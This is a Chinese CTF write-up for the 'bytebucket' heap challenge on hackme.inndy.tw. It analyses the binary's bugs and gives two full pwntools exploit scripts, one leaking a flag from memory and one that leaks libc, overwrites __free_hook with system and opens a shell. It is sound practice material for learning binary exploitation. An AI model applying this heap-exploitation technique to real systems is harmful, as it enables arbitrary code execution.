hackme.inndy.tw 上的 bytebucket writeup

栏目: Python · 发布时间: 5年前

内容简介:保护几乎全开

hackme.inndy.tw 上的 bytebucket writeup

程序分析

hackme.inndy.tw 上的 bytebucket writeup

checksec

保护几乎全开

hackme.inndy.tw 上的 bytebucket writeup

数据结构

  • bucket是一个如下结构的结构体,用单链表串联。根据bucket中的slot数(slot_count),bucket的大小也会变化,slot指针也会变化。
  • slot是malloc出来的char数组,其大小不做记录,只用于初始化。
  • 全局有一个globalp指针指向根bucket,也有一个currentp指针指向当前操作的bucket
struct bucket{
    bucket* next;
    int64 slot_count;
    char[16] bucket_name;
    char* slot0;
    char* slot1;
    ...
}

hackme.inndy.tw 上的 bytebucket writeup

hackme.inndy.tw 上的 bytebucket writeup

程序结构

初始化了2个bucket,其中第一个FLAG就在第一个bucket的slot中;第二个FLAG需要getshell获得

hackme.inndy.tw 上的 bytebucket writeup

操作bucket

hackme.inndy.tw 上的 bytebucket writeup

在open_bucket后才可以操作slot

hackme.inndy.tw 上的 bytebucket writeup

寻找漏洞

观察free,无论是drop_bucket还是drop_data,free后指针被清0,没有UAF漏洞

hackme.inndy.tw 上的 bytebucket writeup

  • 漏洞点1:在make_bucket时,如果传入size of slot content大小为0,则会跳过对slot指针的赋值。也就是该数据块原来是什么就还是什么,于是想到让这个部分设置为我们希望读取/修改内存的指针,就可以实现任意地址读、写。
    hackme.inndy.tw 上的 bytebucket writeup
  • 漏洞点2:输入bucket_name的函数没有在结尾强制加x00,可以让name为16个a,就会与slot0指针接上。list_bucket就会泄露出slot0地址。
    hackme.inndy.tw 上的 bytebucket writeup

FLAG1

make_bucket(1,"a"*16,[10],["bbb"]) 溢出堆指针,计算 FLAG1(内存)的地址

hackme.inndy.tw 上的 bytebucket writeup

但是注意,如果flag1_addr中有0xa(n)时,会被替换为00,所以要重试

hackme.inndy.tw 上的 bytebucket writeup

构造一个大小和bucket一样的slot,利用slot布局好内存,设置某个位置为flag1的指针

hackme.inndy.tw 上的 bytebucket writeup

然后drop_data回到fastbin,等再make_bucket时,这块内存将作为bucket内存

此时原来的flag1还在

hackme.inndy.tw 上的 bytebucket writeup

利用传入Size of content为0,避免对这块内存赋值,但是此时slot_count为1,在show_data中读取到内存中的FLAG。

hackme.inndy.tw 上的 bytebucket writeup

完整payload

#!/usr/bin/env python2
# -*- coding:utf8 -*-

import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger


# context(os='linux', arch='amd64', log_level='debug') #i386 or amd64

#用python xxx.py elf 1调用远程
local = len(sys.argv) == 2

elf = ELF(sys.argv[1])

if local:
    io = process(sys.argv[1],env={"FLAG1":"flag{env}"})
else:
    io = remote("hackme.inndy.tw", 7722)

def make_bucket(slot_count,name,csize,cs):
    io.sendlineafter("What to do","1")
    io.sendlineafter("Size of bucket",str(slot_count))
    io.sendlineafter("Name of bucket",name)
    for i in range(slot_count):
        io.sendlineafter("Size of content",str(csize[i]))
        if (csize[i]!=0):
            io.sendafter("Content of slot",cs[i])

def list_bucket():
    io.sendlineafter("What to do","2")

def find_bucket(name):
    io.sendlineafter("What to do","3")
    io.sendlineafter("Bucket name to find",name)

def drop_bucket():
    io.sendlineafter("What to do","5")

def open_bucket():
    io.sendlineafter("What to do","6")

def show_data():
    io.sendlineafter("What to do","1")

def rename(name):
    io.sendlineafter("What to do","4")

def drop_data(idx):
    io.sendlineafter("What to do","3")
    io.sendlineafter("Which line of data",str(idx))

def close_bucket():
    io.sendlineafter("What to do","5")


make_bucket(1,"a"*16,[10],["bbb"]) #name溢出堆指针,计算 FLAG1(内存)的地址

list_bucket()
io.recvuntil("a"*16)
c = io.recvuntil("";",drop=True)
slot1 = u64(c.ljust(8,'x00'))
success("slot1 : %x"%slot1)
flag1_addr = slot1 - 224
success("flag1_addr : %x"%flag1_addr)
fs = "%x"%flag1_addr
if "0a" in fs:
    success("0a in address! Try again!")
    exit()

make_bucket(1,"ccc",[40],["d"*32+p64(flag1_addr)])
open_bucket()
drop_data(0)
close_bucket()

make_bucket(1,"eee",[0],[''])
open_bucket()
show_data()

io.interactive()

FLAG2

上述过程可以实现任意地址读,但是由于slot的编辑(edit_data)会用strlen判断原来slot的大小,所以如果要实现任意地址写,则需要用rename函数来修改bucket的name字段。

hackme.inndy.tw 上的 bytebucket writeup

由于程序保护几乎全开,尤其RELRO限制了改不了got表,就改__free_hook

  • 套路1:利用FLAG1同样的方法,获取堆地址,确定bucket2的地址
  • 套路2:利用“利用unsorted bin获得main_arena地址”的套路吗,获取main_arena地址进而获得libc地址
make_bucket(4,"aaaa",[0x80,0x80,0x80,0x80],["bbbb","cccc","dddd","eeee"]) 
open_bucket()
drop_data(0)
drop_data(2)
close_bucket()

make_bucket(2,"f"*16,[0x80,0x80],["g"*8,"hhhh"])

与FLAG1同样的套路构造内存,这次是让bucket3->slot0=bucket2

make_bucket(2,"bucket2",[40,8],["d"*32+p64(bucket2),"/bin/shx00"])
open_bucket()
drop_data(0) #带有bucket2指针的块进入fastbin
close_bucket()

make_bucket(1,"bucket3",[0],['']) 
open_bucket()

先利用edit_data函数,修改slot对应的内存

free_hook_addr = libc.symbols["__free_hook"] - 0x10 #可以修改的地方在0x10处
data = p64(free_hook_addr).rstrip("x00")
csize = len(data)
success("free_hook size: %d"%csize)
success("__free_hook - 0x10 : %x"%free_hook_addr)

edit_data(0,csize,data) #将bucket2->next改成指向想要的目标(伪bucket)
close_bucket()

此时locked->bucket1->bucket2->fake bucket

利用next_bucket函数进入fake_bucket,用rename函数修改fake_bucket的字段(之所以用rename而不是edit_data是因为edit_data修改的长度会根据原来内容strlen的结果,free_hook这里原来是NULL,所以不能改长;而rename则只限制32长度,满足要求)

find_bucket("bucket2")
next_bucket() #进入到伪bucket,修改名字
open_bucket()

system_addr = libc.symbols["system"]
success("system_addr : %x"%system_addr)

rename(p64(system_addr)) #
close_bucket()

free掉有/bin/sh那块内存,触发__free_hook

find_bucket("bucket2")
open_bucket()
drop_data(1) #free掉有/bin/sh那块内存,触发__free_hook

完整的payload

#!/usr/bin/env python2
# -*- coding:utf8 -*-

import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger

context(os='linux', arch='amd64', log_level='debug') #i386 or amd64

#用python xxx.py elf 1调用远程
local = len(sys.argv) == 2

elf = ELF(sys.argv[1])

if local:
    io = process(sys.argv[1],env={"FLAG1":"flag{env}"})
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #64bit
    main_arena_offset = 3951392
else:
    io = remote("hackme.inndy.tw", 7722)
    libc = ELF("libc-2.23.so.x86_64")
    main_arena_offset = 0x3C3B20

def make_bucket(slot_count,name,csize,cs):
    io.sendlineafter("What to do","1")
    io.sendlineafter("Size of bucket",str(slot_count))
    io.sendlineafter("Name of bucket",name)
    for i in range(slot_count):
        io.sendlineafter("Size of content",str(csize[i]))
        if (csize[i]!=0):
            io.sendafter("Content of slot",cs[i])

def list_bucket():
    io.sendlineafter("What to do","2")

def find_bucket(name):
    io.sendlineafter("What to do","3")
    io.sendlineafter("Bucket name to find",name)

def drop_bucket():
    io.sendlineafter("What to do","5")

def open_bucket():
    io.sendlineafter("What to do","6")

def show_data():
    io.sendlineafter("What to do","1")

def edit_data(idx,size,data):
    io.sendlineafter("What to do","2")
    io.sendlineafter("Which line of data",str(idx))
    io.sendlineafter("Size of new content",str(size))
    io.sendafter("New content", data)


def rename(name):
    io.sendlineafter("What to do","4")
    io.sendlineafter("New bucket name",name)

def drop_data(idx):
    io.sendlineafter("What to do","3")
    io.sendlineafter("Which line of data",str(idx))

def close_bucket():
    io.sendlineafter("What to do","5")

def next_bucket():
    io.sendlineafter("What to do","4")

make_bucket(4,"aaaa",[0x80,0x80,0x80,0x80],["bbbb","cccc","dddd","eeee"]) 
open_bucket()
drop_data(0)
drop_data(2)
close_bucket()

make_bucket(2,"f"*16,[0x80,0x80],["g"*8,"hhhh"])


#name溢出堆指针,获得bucket2的地址
list_bucket()
io.recvuntil("f"*16)
c = io.recvuntil("";",drop=True)
slot = u64(c.ljust(8,'x00'))
success("slot : %x"%slot)
bucket2 = slot - 368 + 0x50
success("bucket2 : %x"%bucket2)

#利用unsorted bin获得main_arena地址,从而获得libc基地址
open_bucket()
show_data()
io.recvuntil("g"*8)
bk = u64(io.recvuntil("nRow[",drop=True).ljust(8,'x00'))
main_arena = bk - 216
success("main_arena : %x"%main_arena)
libc.address = main_arena - main_arena_offset
success("libc.address : %x"%libc.address)
close_bucket()

#恢复环境,清空(fastbin里面还有)
drop_bucket()
find_bucket("aaaa")
drop_bucket()
#locked->bucket1
find_bucket("/home/ctf/flag")

#构造一个bucket2

make_bucket(2,"bucket2",[40,8],["d"*32+p64(bucket2),"/bin/shx00"])
#locked->bucket1->bucket2
open_bucket()
drop_data(0) #带有bucket2指针的块进入fastbin
close_bucket()

#从fastbin中获取到刚才free掉的块
#bucket2->next = bucket3
#locked->bucket1->bucket2->bucket3(bucket3->slot0=bucket2)
make_bucket(1,"bucket3",[0],['']) 
open_bucket()

free_hook_addr = libc.symbols["__free_hook"] - 0x10 #可以修改的地方在0x10处
data = p64(free_hook_addr).rstrip("x00")
csize = len(data)
success("free_hook size: %d"%csize)
success("__free_hook - 0x10 : %x"%free_hook_addr)

edit_data(0,csize,data) #将bucket2->next改成指向想要的目标(伪bucket)
close_bucket()

#locked->bucket1->bucket2->fake bucket
find_bucket("bucket2")
next_bucket() #进入到伪bucket,修改名字
open_bucket()

system_addr = libc.symbols["system"]
success("system_addr : %x"%system_addr)

rename(p64(system_addr)) #
close_bucket()

find_bucket("bucket2")
open_bucket()
drop_data(1) #free掉有/bin/sh那块内存,触发__free_hook

io.interactive()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

轻营销

轻营销

唐文 / 机械工业出版社 / 2015-6 / 35元

《轻营销》,中国第一本全面讲述如何在互联网新时代用小预算做大营销的书籍,以求把中小微企业从那些以大预算为基础而难以落地的营销理论和案例中解脱出来。用“轻”但真正起作用的方法,帮助传统企业抓住互联网新一波浪潮的机遇,转型升级。 “怒打价格战、拼命砸广告、渠道金字塔”是过去中国企业做营销的基本功课,背后的逻辑是花钱。今天这三招已经不太管用了,广告费用的多少不再是决定性因素。取而代之的是直面客户的......一起来看看 《轻营销》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

在线进制转换器
在线进制转换器

各进制数互转换器

SHA 加密
SHA 加密

SHA 加密工具